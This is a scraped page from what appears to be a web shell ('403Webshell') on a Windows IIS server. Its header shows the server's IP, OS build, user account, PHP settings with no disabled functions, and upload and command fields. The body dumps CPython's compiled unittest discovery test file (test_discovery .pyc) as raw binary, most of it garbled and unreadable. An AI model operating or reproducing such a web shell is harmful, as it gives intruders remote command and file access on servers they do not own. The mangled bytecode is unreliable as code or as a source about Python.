403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/test_unittest/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/test_unittest/__pycache__/test_discovery.cpython-313.pyc
�

��iE�����SSKrSSKJr SSKrSSKrSSKrSSKrSSKJr SSK	J
r
 SSKrSSKrSSK
r"SS\R5r"SS\R 5r\S	:Xa\R&"5 gg)
�N)�abspath)�support)�
import_helperc�B�\rSrSrSrSrS=r=r=rr	Sr
SrS=rr
SrSrg)�TestableTestProgram�NT��c��g�N�)�selfs �6C:\Python313\\Lib\test\test_unittest\test_discovery.py�__init__�TestableTestProgram.__init__s���r
)�__name__�
__module__�__qualname__�__firstlineno__�module�exit�defaultTest�failfast�
catchbreak�buffer�	verbosity�progName�
testRunner�
testLoaderr�__static_attributes__r
rrrrs9��
�F��D�37�7�K�7�(�7�Z�&��I��H�"�"�J��
rrc��\rSrSrSrSrSrSrSrSr	Sr
S	rS
rSr
SrS
rSrSrSrSrSrSrSrSrSrSrSrSrSrSrSrSrg)�
TestDiscovery�c��[R"5nSUlURS5nUR	US5 UR[5 URS5 SSS5 g!,(df   g=f)N�/fooz/foo/bar/baz.pyzbar.bazz/bar/baz.py)�unittest�
TestLoader�_top_level_dir�_get_name_from_path�assertEqual�assertRaises�AssertionError)r�loader�names   r�test_get_name_from_path�%TestDiscovery.test_get_name_from_pathsf���$�$�&�� &����)�)�*;�<������y�)���
�
�~�
.��&�&�}�5�/�
.�
.�s�A1�1
A?c�^^^
^^^�[R"5n[RmU4Sjn[RR
mU4Sjn[RRm
U
4Sjn/SQSS//mU4Sj[lURU5 SnU[RlURU5 S	nU[RlURU5 S
UlURmSU4SjjnXql	SUl
[RRS
5nX�l[URUS55n	SV
s/sHo�S-/PM
 nn
URSV
s/sHn
SU
-S-/PM sn
5 UR!X�5 gs sn
fs sn
f)Nc�>�T[lgr��os�listdir��original_listdirs�r�restore_listdir�6TestDiscovery.test_find_tests.<locals>.restore_listdir/�
���)�B�Jrc�0>�T[Rlgr�r5�path�isfile��original_isfiles�r�restore_isfile�5TestDiscovery.test_find_tests.<locals>.restore_isfile2����,�B�G�G�Nrc�0>�T[Rlgr�r5r>�isdir��original_isdirs�r�
restore_isdir�4TestDiscovery.test_find_tests.<locals>.restore_isdir5����*�B�G�G�Mr)ztest2.pyztest1.pyz
not_a_test.py�test_dirztest.fooztest-not-a-module.py�another_dirztest4.pyztest3.pyc�&>�TRS5$�Nr��pop�r>�
path_listss �r�<lambda>�/TestDiscovery.test_find_tests.<locals>.<lambda>;����*�.�.��"3rc�$�URS5$)N�dir��endswith�r>s rrG�,TestDiscovery.test_find_tests.<locals>.isdir>s���=�=��'�'rc�F�URS5(+=(a SU;$)NrYrNrZr\s rr?�-TestDiscovery.test_find_tests.<locals>.isfileCs���}�}�U�+�+�I�M�T�4I�Irc��US-$�Nz moduler
r\s rrUrVI�	��D�9�4Drc� >�T"XS9nX S-/-$�N��patternz testsr
�rrf�base�orig_load_testss   �r�loadTestsFromModule�:TestDiscovery.test_find_tests.<locals>.loadTestsFromModuleK����"�6�;�D��H�,�-�-�-rc��U$rr
��things rrUrVP���%rr&�test*.py)�test1�test2rM�
 module tests)�test3�test4ztest_dir.%sr)r'r(r5r6r>r?rG�
addCleanup�_get_module_from_namerj�
suiteClassrr)�list�_find_tests�extendr+)rr.r9rBrJrGr?rj�	top_level�suiter/�expectedrirIrAr8rTs            @@@@@r�test_find_tests�TestDiscovery.test_find_tests+sv����$�$�&���:�:��	*��'�'�.�.��	-�������	+�J�!�:�0�2�
�4��
�����(�	(�����
����
�&�	J� ���������'�'D��$� �4�4��	.�&9�"�/����G�G�O�O�F�+�	� )���V�'�'�	�:�>�?��
3�4�2�26�O�+�,�2�	�4����&�(�&�IM�=�4�/�?�B�C�&�(�	)�����)��	4��(s�F%�9F*c�^^	^
^^�[R"5n[RmU4Sjn[RR
m
U
4Sjn[RRm	U	4SjnS//mU4Sj[lURU5 S[RlURU5 S[RlURU5 SUlURmS
U4S	jjnXQl	S
Ul
[RRS5nXal[URUS55nURU/5 g)Nc�>�T[lgrr4r7s�rr9�=TestDiscovery.test_find_tests_socket.<locals>.restore_listdirdr;rc�0>�T[Rlgrr=r@s�rrB�<TestDiscovery.test_find_tests_socket.<locals>.restore_isfilegrDrc�0>�T[RlgrrFrHs�rrJ�;TestDiscovery.test_find_tests_socket.<locals>.restore_isdirjrLr�socketc�&>�TRS5$rPrQrSs �rrU�6TestDiscovery.test_find_tests_socket.<locals>.<lambda>nrWrc��g�NFr
r\s rrUr�qs��Urc��gr�r
r\s rrUr�t���erc��US-$rar
r\s rrUr�wrbrc� >�T"XS9nX S-/-$rdr
rgs   �rrj�ATestDiscovery.test_find_tests_socket.<locals>.loadTestsFromModuleyrlrc��U$rr
rns rrUr�~rprr&rqr)r'r(r5r6r>r?rGrwrxrjryrr)rzr{r+)
rr.r9rBrJrjr}r~rirIrAr8rTs
        @@@@@r�test_find_tests_socket�$TestDiscovery.test_find_tests_socket^s�����$�$�&���:�:��	*��'�'�.�.��	-�������	+� �j�\�
�3��
�����(�*����
����
�&�+���������'�'D��$� �4�4��	.�&9�"�/����G�G�O�O�F�+�	� )���V�'�'�	�:�>�?�������#rc�H^^^	^
^^^
�[R"5n[RmU4Sjn[RR
mU4Sjn[RRm
U
4Sjn/SQmT////m
U
4Sj[lURU5 S[RlURU5 U4Sj[RlURU5 "SS	[5mU4S
jUl	URm	SU	4SjjnXQl
SUlS
Ul[URS
S55nURUS/SS/S//5 URTR /SQ5 URTR"U/S4/5 g)Nc�>�T[lgrr4r7s�rr9�CTestDiscovery.test_find_tests_with_package.<locals>.restore_listdir�r;rc�0>�T[Rlgrr=r@s�rrB�BTestDiscovery.test_find_tests_with_package.<locals>.restore_isfile�rDrc�0>�T[RlgrrFrHs�rrJ�ATestDiscovery.test_find_tests_with_package.<locals>.restore_isdir�rLr��a_directory�test_directory�test_directory2c�&>�TRS5$rPrQrSs �rrU�<TestDiscovery.test_find_tests_with_package.<locals>.<lambda>�rWrc��g�NTr
r\s rrUr�����Trc�H>�[RRU5T;$r�r5r>�basename�r>�directoriess �rrUr������b�g�g�&6�&6�t�&<�K�&Orc�(�\rSrSr/r/rSrSrSrg)�:TestDiscovery.test_find_tests_with_package.<locals>.Module�c�^�UTlTRRU5 [RR	U5S:XaU4SjnUTlgg)Nr�c�^>�TRRXU45 TRS-/$�N� load_tests��load_tests_args�appendr>�r.�testsrfrs   �r�
load_tests�WTestDiscovery.test_find_tests_with_package.<locals>.Module.__init__.<locals>.load_tests��.����,�,�3�3�V�G�4L�M� $�	�	�M� 9�:�:r�r>�pathsr�r5r�r��rr>r�s`  rr�CTestDiscovery.test_find_tests_with_package.<locals>.Module.__init__��G��� ��	��
�
�!�!�$�'��7�7�#�#�D�)�-=�=�;�'1�D�O�	>rc�4�URUR:H$rr\�r�others  r�__eq__�ATestDiscovery.test_find_tests_with_package.<locals>.Module.__eq__�����y�y�E�J�J�.�.r�r�r>N�	rrrrr�r�rr�r!r
rr�Moduler������E� �O�
1�
/rr�c�>�T"U5$rr
�r/r�s �rrUr���	���F�4�Lrc�4>�T"XS9nX RS-/-$�Nrertr\rgs   �rrj�GTestDiscovery.test_find_tests_with_package.<locals>.loadTestsFromModule��"���"�6�;�D��;�;��8�9�9�9rc��U$rr
rns rrUr��rprr&ztest*�a_directory module tests�test_directory load_tests�test_directory module tests�test_directory2 module testsr�r'r(r5r6r>r?rGrw�objectrxrjryr)rzr{r+r�r��rr.r9rBrJrjr~r�r�rirIrAr8rTs       @@@@@@@r�test_find_tests_with_package�*TestDiscovery.test_find_tests_with_package�s`����$�$�&���:�:��	*��'�'�.�.��	-�������	+�K��!�2�r�2�.�
�3��
�����(�)����
����
�&�O���������'�	/�V�	/� (A��$� �4�4��	:�&9�"�/��� &����V�'�'���8�9��
	
����5�6�6�8�:�9�:�<�	=�	
������M�	O�	
����/�/�!�2�w�/�0�	2rc�H^^^	^
^^^
�[R"5n[RmU4Sjn[RR
mU4Sjn[RRm
U
4Sjn/SQmT////m
U
4Sj[lURU5 S[RlURU5 U4Sj[RlURU5 "SS	[5mU4S
jUl	URm	SU	4SjjnXQl
SUlS
Ul[URS
S55nURUS/SS/S//5 URTR /SQ5 URTR"U/S4/5 g)Nc�>�T[lgrr4r7s�rr9�WTestDiscovery.test_find_tests_default_calls_package_load_tests.<locals>.restore_listdir�r;rc�0>�T[Rlgrr=r@s�rrB�VTestDiscovery.test_find_tests_default_calls_package_load_tests.<locals>.restore_isfile�rDrc�0>�T[RlgrrFrHs�rrJ�UTestDiscovery.test_find_tests_default_calls_package_load_tests.<locals>.restore_isdir�rLrr�c�&>�TRS5$rPrQrSs �rrU�PTestDiscovery.test_find_tests_default_calls_package_load_tests.<locals>.<lambda>�rWrc��gr�r
r\s rrUr��r�rc�H>�[RRU5T;$rr�r�s �rrUr��r�rc�(�\rSrSr/r/rSrSrSrg)�NTestDiscovery.test_find_tests_default_calls_package_load_tests.<locals>.Module��c�^�UTlTRRU5 [RR	U5S:XaU4SjnUTlgg)Nr�c�^>�TRRXU45 TRS-/$r�r�r�s   �rr��kTestDiscovery.test_find_tests_default_calls_package_load_tests.<locals>.Module.__init__.<locals>.load_tests�r�rr�r�s`  rr�WTestDiscovery.test_find_tests_default_calls_package_load_tests.<locals>.Module.__init__�r�rc�4�URUR:H$rr\r�s  rr��UTestDiscovery.test_find_tests_default_calls_package_load_tests.<locals>.Module.__eq__�r�rr�Nr�r
rrr�r��r�rr�c�>�T"U5$rr
r�s �rrUr��r�rc�4>�T"XS9nX RS-/-$r�r\rgs   �rrj�[TestDiscovery.test_find_tests_default_calls_package_load_tests.<locals>.loadTestsFromModule�r�rc��U$rr
rns rrUr��rprr&rqr�r�r�r�rr�r�s       @@@@@@@r�0test_find_tests_default_calls_package_load_tests�>TestDiscovery.test_find_tests_default_calls_package_load_tests�s`����$�$�&���:�:��	*��'�'�.�.��	-�������	+�K��!�2�r�2�.�
�3��
�����(�)����
����
�&�O���������'�	/�V�	/� (A��$� �4�4��	:�&9�"�/��� &����V�'�'��
�;�<��
	
����5�6�6�8�:�9�:�<�	=�	
������M�	O�
	
����/�/�!�2�z�2�3�	5rc�^^^	^
^�[Rm
U
4SjnURU5 [RRm	U	4SjnURU5 [RR
mU4SjnURU5 UR[RR[S55 [S5S/[S5SS/0mU4S	jnU[lS
[RlS[Rl"SS
[5m[R"5nU4SjUlSUl
[S5Ul[UR![S5S55nUR#US/S///5 UR#TR$SS/5 UR#TR&U/S4U/S4/5 g)Nc�>�T[lgrr4r7s�rr9�TTestDiscovery.test_find_tests_customize_via_package_pattern.<locals>.restore_listdirr;rc�0>�T[Rlgrr=r@s�rrB�STestDiscovery.test_find_tests_customize_via_package_pattern.<locals>.restore_isfile!rDrc�0>�T[RlgrrFrHs�rrJ�RTestDiscovery.test_find_tests_customize_via_package_pattern.<locals>.restore_isdir%rLrr&�
my_package�/foo/my_package�__init__.py�test_module.pyc� >�[TU5$r�rz�r>�vfss �r�list_dir�MTestDiscovery.test_find_tests_customize_via_package_pattern.<locals>.list_dir7������D�	�?�"rc�.�URS5(+$�Nz.pyrZr\s rrU�MTestDiscovery.test_find_tests_customize_via_package_pattern.<locals>.<lambda>:������u�)=�%=rc�$�URS5$rrZr\s rrUr	;�
��d�m�m�E�&:rc�(�\rSrSr/r/rSrSrSrg)�KTestDiscovery.test_find_tests_customize_via_package_pattern.<locals>.Modulei=c�^�UTlTRRU5 URS5(aU4SjnOU4SjnUTlg)N�test_modulec�^>�TRRXU45 TRS-/$r�r�r�s   �rr��hTestDiscovery.test_find_tests_customize_via_package_pattern.<locals>.Module.__init__.<locals>.load_testsEr�rc��>�TRRXU45 Sn[RR	U5nURXBS9nTRS-U/U-$)Nz/foo/my_package/__init__.py��	start_dirrfr�)r�r�r5r>�dirname�discover)r.r�rf�__file__�this_dir�	pkg_testsrs      �rr�rIsj����,�,�3�3�V�G�4L�M�#@��#%�7�7�?�?�8�#<��$*�O�O�&.�%4�%A�	� $�	�	�M� 9�5� � )� *�*r)r>r�r�r[r�r�s`  rr�TTestDiscovery.test_find_tests_customize_via_package_pattern.<locals>.Module.__init__As>��� ��	��
�
�!�!�$�'��=�=��/�/�;�*�#-��rc�4�URUR:H$rr\r�s  rr��RTestDiscovery.test_find_tests_customize_via_package_pattern.<locals>.Module.__eq__Tr�rr�Nr�r
rrr�r=s���E� �O�
-�&
/rr�c�>�T"U5$rr
r�s �rrUr	Xr�rc��U$rr
rns rrUr	Yrprrqzmy_package load_testsz!my_package.test_module load_testszmy_package.test_module)r5r6rwr>r?rG�sys�removerr�r'r(rxryr)rzr{r+r�r�)rr9rBrJrr.r~r�rIrAr8rs       @@@@@r�-test_find_tests_customize_via_package_pattern�;TestDiscovery.test_find_tests_customize_via_package_patterns����
�:�:��	*�����(��'�'�.�.��	-�����'�������	+����
�&������������9��v�����(�)�M�;K�+L�N��	#���
�=����
�:�����	/�V�	/�4�$�$�&��'@��$�/��� '������V�'�'�����D�E��
	
����2�B�>�?�A�B�	C�	
������&�(@�A�	C�	
����/�/�!�2�z�2�!�2�z�2�4�	5rc�^
^^^
�[R"5n[RRm
[RR
mU
4SjnS[RlUR
U5 [RSSmU4SjnUR
U5 [RR[RRS55nUR[5 URSSS9 SSS5 URURU5 URU[R5 S[RlS[RlU4S	jnUR
U5 /m
U
4S
jnXal["UlURSSS5n[RRS5n[RRS5n	URUS
5 URUR[RRS55 URT
U	S4/5 URU[R5 g!,(df   GNy=f)Nc�0>�T[Rlgrr=r@s�rrB�3TestDiscovery.test_discover.<locals>.restore_isfiletrDrc��gr�r
r\s rrU�-TestDiscovery.test_discover.<locals>.<lambda>wr�rc�,>�T[RSS&gr)r r>)�
orig_sys_paths�r�restore_path�1TestDiscovery.test_discover.<locals>.restore_path{s���'�C�H�H�Q�Krr&�/foo/bar��
top_level_dirc��gr�r
r\s rrUr(����drc��gr�r
r\s rrUr(�r�rc�0>�T[RlgrrFrHs�rrJ�2TestDiscovery.test_discover.<locals>.restore_isdir�rLrc�.>�TRX45 S/$�Nr�)r�)rrf�_find_tests_argss  �rr{�0TestDiscovery.test_discover.<locals>._find_tests�s����#�#�Y�$8�9��9�rz/foo/bar/bazrfz	['tests'])r'r(r5r>r?rGrwr r�normpathr,�ImportErrorrr+r)�assertInr{�strry)rr.rBr+�	full_pathrJr{r~r/rr7r*rIrAs          @@@@r�
test_discover�TestDiscovery.test_discoveros�����$�$�&���'�'�.�.��������	-�,���������'������
�	(�����%��G�G�O�O�B�G�G�$4�$4�V�$<�=�	�
�
�
�{�
+��O�O�J�f�O�=�,�	
����.�.�	�:��
�
�i����*�*�����)����
�	+����
�&���	�)���������	�:�F�������
�3�
��G�G�O�O�N�3�	������,�����.�.�������0G�H����)�Y�	�,B�+C�D��
�
�m�S�X�X�.�7,�
+�s�6I9�9
Jc�(^^^�[RRm[RRm[RSSmUUU4SjnURU5 S[RlS[Rl[R"5n[Ul	SnSnURX4S9 URURS5 S=UlnURX4S9 URURU5 g)Nc�>�T[RlT[RlT[RSS&gr)r5r>r?rGr )rIrA�original_sys_paths���r�restore�[TestDiscovery.test_discover_should_not_persist_top_level_dir_between_calls.<locals>.restore�s&���,�B�G�G�N�*�B�G�G�M�+�C�H�H�Q�Krc��gr�r
r\s rrU�\TestDiscovery.test_discover_should_not_persist_top_level_dir_between_calls.<locals>.<lambda>�r1rc��gr�r
r\s rrUrF�r�rr-r&r.z
/previous/dir)
r5r>r?rGr rwr'r(r<ryrr+r))	rrCr.rYr/�dir2rIrArBs	      @@@r�<test_discover_should_not_persist_top_level_dir_between_calls�JTestDiscovery.test_discover_should_not_persist_top_level_dir_between_calls�s�����'�'�.�.���������H�H�Q�K��	,�	
���� �*�����)����
��$�$�&��������
������9�����.�.��5�'6�6���������9�����.�.��5rc�^^�[S5S/[S5S/0mU4SjnUR[[S[R5 U[lUR[[R
S[R
R5 S[R
lUR[[R
S	[R
R5 S
[R
lUR[R
R[S55 "SS[5m[R"5nU4S
jUl
SUlURSSS9nUR!US//5 g)Nz	/toplevel�startdirz/toplevel/startdirr�c� >�[TU5$rrrs �rr�[TestDiscovery.test_discover_start_dir_is_package_calls_package_load_tests.<locals>.list_dir�rrr6r?c�$�URS5$rrZr\s rrU�[TestDiscovery.test_discover_start_dir_is_package_calls_package_load_tests.<locals>.<lambda>�rrrGc�.�URS5(+$rrZr\s rrUrP�r
rc�.�\rSrSr/r/rSrSrSrSr	g)�YTestDiscovery.test_discover_start_dir_is_package_calls_package_load_tests.<locals>.Modulei�c��Xlgrr\)rr>s  rr�bTestDiscovery.test_discover_start_dir_is_package_calls_package_load_tests.<locals>.Module.__init__�s�� �	rc�"�SUR-/$)Nzload_tests called r\)rr.r�rfs    rr��dTestDiscovery.test_discover_start_dir_is_package_calls_package_load_tests.<locals>.Module.load_tests�s��,�t�y�y�8�9�9rc�4�URUR:H$rr\r�s  rr��`TestDiscovery.test_discover_start_dir_is_package_calls_package_load_tests.<locals>.Module.__eq__�r�rr\N)
rrrrr�r�rr�r�r!r
rrr�rS�s���E� �O�
!�
:�
/rr�c�>�T"U5$rr
r�s �rrUrP�r�rc��U$rr
rns rrUrP�rprr.zload_tests called startdir)rrw�setattrr5r6r>r?rGr r!r�r'r(rxryrr+)rrr.r~r�rs    @@r�;test_discover_start_dir_is_package_calls_package_load_tests�ITestDiscovery.test_discover_start_dir_is_package_calls_package_load_tests�s����{�#�j�\��+�,�}�o�?��	#������Y��
�
�;���
��������(�B�G�G�N�N�C�:������������'�2�7�7�=�=�A�=����
�����������)=�>�	/�V�	/��$�$�&��'@��$�/������ 4�K��P��	
����7�8�9�	;rc�^^^^�[RmU4Sj[l[RRmS[Rl[RSSmUUU4SjnURU5 g)Nc�
>�T/$rr
)�_�fakefiles �rrU�8TestDiscovery.setup_import_issue_tests.<locals>.<lambda>�s����zrc��gr�r
�ras rrUrc�s��4rc�l>�T[RlT[lT[RSS&gr)r5r>r?r6r )r?r6r*s���rrC�7TestDiscovery.setup_import_issue_tests.<locals>.restore�s"���#�B�G�G�N� �B�J�'�C�H�H�Q�Kr)r5r6r>r?r rw)rrbrCr?r6r*s ` @@@r�setup_import_issue_tests�&TestDiscovery.setup_import_issue_tests�sK����*�*��)��
�������'����������
�	(�	
���� rc�b^�UR[[S[R5 UR[[RS[RR
5 UR[[RS[RR5 UR[RR[S5[[R55 U4SjnU[lS[RlS[Rlg)Nr6r?rGc� >�[TU5$rrrs �rr�@TestDiscovery.setup_import_issue_package_tests.<locals>.list_dir�rrc�.�URS5(+$rrZr\s rrU�@TestDiscovery.setup_import_issue_package_tests.<locals>.<lambda>�r
rc�$�URS5$rrZr\s rrUrn�rr)rwr\r5r6r>r?rGr �__setitem__�slicerz)rrrs ` r� setup_import_issue_package_tests�.TestDiscovery.setup_import_issue_package_tests�s���������Y��
�
�;��������(�B�G�G�N�N�C��������'�2�7�7�=�=�A�������,�,�e�D�k�4����>�J�	#���
�=����
�:����rc��[R"5nURS5 URS5nUR	[
R"5[R5 URUR5S5 UR/UR5 URS[UR55 URSnURSU;SU-5 [[U5S5SnUR!["5 UR$"5 SSS5 g!,(df   g=f)N�test_this_does_not_exist.py�.r	rz6Failed to import test module: test_this_does_not_exist�missing error string in %r)r'r(rhrr;r5�getcwdr r>r+�countTestCases�assertNotEqual�errors�len�
assertTruerzr,r:�test_this_does_not_exist)rr.r~�error�tests     r�.test_discover_with_modules_that_fail_to_import�<TestDiscovery.test_discover_with_modules_that_fail_to_import�s����$�$�&���%�%�&C�D�����$���
�
�b�i�i�k�3�8�8�,�����-�-�/��3����B��
�
�.�����C��
�
�.�/��
�
�a� �����D��M�(�5�0�	2��D��K��N�#�A�&��
�
�
�{�
+��)�)�+�,�
+�
+�s�"D=�=
Ec�^�[S5S/[S5SS/0nURU5 /mU4Sjn[R"5nX#lUR[S55nUR
[S5[R5 URUR5S5 UR/UR5 URS[UR55 URSnURS	U;S
U-5 [[U5S5SnUR!["5 UR$"5 SSS5 URTS/5 ['[(R*S-5H-n[(R,"[(R."Xg55 M/ g!,(df   No=f)Nr&r�r�r�r�c�<>�TRU5 [S5e)NzCannot import Name)r�r:�r/�import_callss �rrx�`TestDiscovery.test_discover_with_init_modules_that_fail_to_import.<locals>._get_module_from_names�������%��2�3�3rr	rz(Failed to import test module: my_packagerw)rrrr'r(rxrr;r r>r+ryrzr{r|r}rzr,r:r��range�pickle�HIGHEST_PROTOCOL�loads�dumps)	rrrxr.r~rr��protor�s	        @r�3test_discover_with_init_modules_that_fail_to_import�ATestDiscovery.test_discover_with_init_modules_that_fail_to_import
so����v�����(�)�M�;K�+L�N���-�-�c�2���	4��$�$�&��'<�$�������0���
�
�g�f�o�s�x�x�0�����-�-�/��3����B��
�
�.�����C��
�
�.�/��
�
�a� �����6�%�?�(�5�0�	2��D��K��N�#�A�&��
�
�
�{�
+��O�O��,������~�6��6�2�2�Q�6�7�E��L�L����d�2�3�8�,�
+�s�G�
Gc�^�[RR(d[R"S5e[R"5nSnX!lUR
S5 URS5nURUR5S5 [R"5nURU5 UR[UR5S5 [[R S-5H-n[R""[R$"X555 M/ g)N�Suite cleanup is disabledc�.�[R"S5e�N�	skipperoo)r'�SkipTest)r/s rrx�eTestDiscovery.test_discover_with_module_that_raises_SkipTest_on_import.<locals>._get_module_from_name1s���#�#�K�0�0rztest_skip_dummy.pyrvr	)r'�
BaseTestSuite�_cleanupr�r(rxrhrr+ry�
TestResult�runr|�skippedr�r�r�r�r�)rr.rxr~�resultr�s      r�8test_discover_with_module_that_raises_SkipTest_on_import�FTestDiscovery.test_discover_with_module_that_raises_SkipTest_on_import+s����%�%�.�.��#�#�$?�@�@��$�$�&��	1�'<�$��%�%�&:�;�����$������-�-�/��3��$�$�&��
�	�	�&������V�^�^�,�a�0��6�2�2�Q�6�7�E��L�L����e�3�4�8rc�b^�[RR(d[R"S5e[	S5S/[	S5SS/0nURU5 /mU4Sjn[R"5nX#lUR[	S55nUR[	S5[R5 URUR5S5 [R"5nURU5 UR[!UR"5S5 URUR$S5 URTS/5 ['[(R*S-5H-n[(R,"[(R."XF55 M/ g)	Nr�r&r�r�r�r�c�R>�TRU5 [R"S5er�)r�r'r�r�s �rrx�jTestDiscovery.test_discover_with_init_module_that_raises_SkipTest_on_import.<locals>._get_module_from_nameJs"�������%��#�#�K�0�0rr	)r'r�r�r�rrrr(rxrr;r r>r+ryr�r�r|r��testsRunr�r�r�r�r�)rrrxr.r~r�r�r�s       @r�=test_discover_with_init_module_that_raises_SkipTest_on_import�KTestDiscovery.test_discover_with_init_module_that_raises_SkipTest_on_importBsA����%�%�.�.��#�#�$?�@�@��v�����(�)�M�;K�+L�N���-�-�c�2���	1��$�$�&��'<�$�������0���
�
�g�f�o�s�x�x�0�����-�-�/��3��$�$�&��
�	�	�&������V�^�^�,�a�0�������!�,������~�6��6�2�2�Q�6�7�E��L�L����e�3�4�8rc���[5n/nURUlURSS/5 UR	U//5 /USS&UR/SQ5 UR	USS//5 g)N�	somethingr)r�r�foo�barr�r�)rr��
_do_discovery�	parseArgsr+�r�program�argss   r�$test_command_line_handling_parseArgs�2TestDiscovery.test_command_line_handling_parseArgs]so��%�'���� $��������;�
�3�4������t�$���Q�����A�B��������/�0rc�h�[5n/nURUlURS/5 UR	U//5 UR	UR
S5 UR
URS5 UR
URS5 UR
URS5 g)Nr�r	F�
rr�r�r�r+r�assertIsrrrr�s   r�.test_command_line_handling_discover_by_default�<TestDiscovery.test_command_line_handling_discover_by_defaultis���%�'���� $��������;�-�(������t�$�����*�*�A�.��
�
�g�n�n�e�,��
�
�g�(�(�%�0��
�
�g�&�&��.rc�j�[5n/nURUlUR/SQ5 UR	U//5 UR	UR
S5 UR
URS5 UR
URS5 UR
URS5 g)N)r��-vz-br��-c�-f�Tr�r�s   r�;test_command_line_handling_discover_by_default_with_options�ITestDiscovery.test_command_line_handling_discover_by_default_with_optionsus���%�'���� $��������E�F������t�$�����*�*�A�.��
�
�g�n�n�d�+��
�
�g�(�(�$�/��
�
�g�&�&��-rc��[5nSUl[R"5nUR	[
5nUR
/SQ5 SSS5 SSS5 URWRRS5 URSWR55 g!,(df   N]=f!,(df   Nf=f)N)�one�two�three�four)r�zusage:)rr r�captured_stderrr,�
SystemExitr�r+�	exceptionr�r;�getvalue)rr��stderr�cms    r�:test_command_line_handling_do_discovery_too_many_arguments�HTestDiscovery.test_command_line_handling_do_discovery_too_many_arguments�s���%�'��!���
�
$�
$�
&�&�
�
�
�z�
*�b��!�!�"A�B�+�'�	
������*�*�D�1��
�
�h���� 1�2�	+�
*��'�
&�s"�B9�B(�B9�(
B6	�2B9�9
Cc��[R[R5nUR	5 "SS[5nU"5UlUR
S/5 URURS/5 g)Nc��\rSrSr/rSrSrg)�YTestDiscovery.test_command_line_handling_do_discovery_uses_default_loader.<locals>.Loaderi�c�>�URRXU45 gr6�r�r��rrrfr/s    rr�bTestDiscovery.test_command_line_handling_do_discovery_uses_default_loader.<locals>.Loader.discover�����	�	� � �)�m�!D�E�rr
N�rrrrr�rr!r
rr�Loaderr������D�
rr�r��rvrqN)	r��__new__r'�TestProgram�_initArgParsersr r�r+r��rr�r�s   r�;test_command_line_handling_do_discovery_uses_default_loader�ITestDiscovery.test_command_line_handling_do_discovery_uses_default_loader�sb���.�.��!5�!5�6�����!�	�V�	�$�X������t�f�%�������'>�&?�@rc��[5n"SS[5nURS/US9 URURS5 URUR
S5 URURS/5 /Ul[5nURS/US9 URUR
S5 URURS/5 /Ul[5nUR/US9 URUR
S5 URURS/5 /Ul[5nURS	/US9 URUR
S5 URURS
/5 /Ul[5nURS	S/US9 URUR
S5 URURS/5 /Ul[5nUR/S
QUS9 URUR
S5 URURS
/5 /Ul[5nURSS	/US9 URUR
S5 URURS
/5 /Ul[5nURSS	/US9 URUR
S5 URURS/5 /Ul[5nURSS	/US9 URUR
S5 URURS/5 URUR5 URUR5 /Ul[5nUR/SQUS9 URUR
S5 URURS/5 URURS5 URUR5 URUR5 g)Nc��\rSrSr/rSrSrg)�RTestDiscovery.test_command_line_handling_do_discovery_calls_loader.<locals>.Loaderi�c�>�URRXU45 gr6r�r�s    rr�[TestDiscovery.test_command_line_handling_do_discovery_calls_loader.<locals>.Loader.discover�r�rr
Nr�r
rrr�r��r�rr�r�)r�r�r�r�z	--verbose�fish)r�rqN�eggs)r�r�N)r�r��ham�-sz-t)rvrqr��-p)rvr�N)r�r�r�r�r�r�r�)rr�r�r+rr�r��assertFalserrr}r�s   r�4test_command_line_handling_do_discovery_calls_loader�BTestDiscovery.test_command_line_handling_do_discovery_calls_loader�s���%�'��	�V�	�	���t�f�V��4�����*�*�A�.�������w�/�������'>�&?�@����%�'�����{�m�F��;�������w�/�������'>�&?�@����%�'�����b���0�������w�/�������'>�&?�@����%�'�����v�h�v��6�������w�/�������'A�&B�C����%�'�����v�v�.�v��>�������w�/�������'=�&>�?����%�'�����5�f��E�������w�/�������'>�&?�@����%�'�����t�V�n�V��<�������w�/�������'A�&B�C����%�'�����t�V�n�V��<�������w�/�������'@�&A�B����%�'�����t�V�n�V��<�������w�/�������':�&;�<�����)�)�*�����+�+�,����%�'�����L�%+�	�	-�������w�/�������'=�&>�?�����*�*�A�.�����(�(�)�����*�*�+rc�^^^^	^
�"SS[5nU[RS'[RRS5m[Rm	[RRm[RRm[RRm
UUUU	U
4SjnURU5 SnSnSnU[lU[RlU[Rl[RS:Xa-[RR
[Rl	T$)	Nc��\rSrSrSrSrg)�0TestDiscovery.setup_module_clash.<locals>.Modulei�z
bar/foo.pyr
N)rrrrrr!r
rrr�r��s��#�Hrr�r�c�$>�T[lT[RlT[RlT[Rl[RS	T[R;a [RRT5 gg)Nr�)	r5r6r>r?rG�realpathr �modulesr!)r=rIrAr8�original_realpaths�����r�cleanup�1TestDiscovery.setup_module_clash.<locals>.cleanup�sY���)�B�J�,�B�G�G�N�*�B�G�G�M�0�B�G�G�����E�"��C�H�H�$������	�*�%rc��S/$�N�foo.pyr
res rr6�1TestDiscovery.setup_module_clash.<locals>.listdir�s
���:�rc��gr�r
res rr?�0TestDiscovery.setup_module_clash.<locals>.isfile����rc��gr�r
res rrG�/TestDiscovery.setup_module_clash.<locals>.isdir�r�r�nt)r�r r�r5r>rr6r?rGr�rwr/)rr�r�r6r?rGr=rIrAr8r�s      @@@@@r�setup_module_clash� TestDiscovery.setup_module_clash�s����	$�V�	$�#����E���G�G�O�O�E�*�	��:�:���'�'�.�.���������G�G�,�,��	+�	+�	
���� �	�	�	���
����������
�
�7�7�d�?� "�w�w���B�G�G���rc��UR5n[R"5n[RRS5n[RRS5n[R"SU<SU<S35nUR[SU-URSSS9 UR[RS	U5 g)
Nr�r�z''foo' module incorrectly imported from z. Expected z$. Is this module globally installed?z^%s$r�rr)
r�r'r(r5r>r�re�escape�assertRaisesRegexr:rr+r )rr=r.�mod_dir�expected_dir�msgs      r�test_detect_module_clash�&TestDiscovery.test_detect_module_clash	s����+�+�-�	��$�$�&���'�'�/�/�%�(���w�w���u�-���i�i�8?��O�P�������#��v����X�	�	
�	
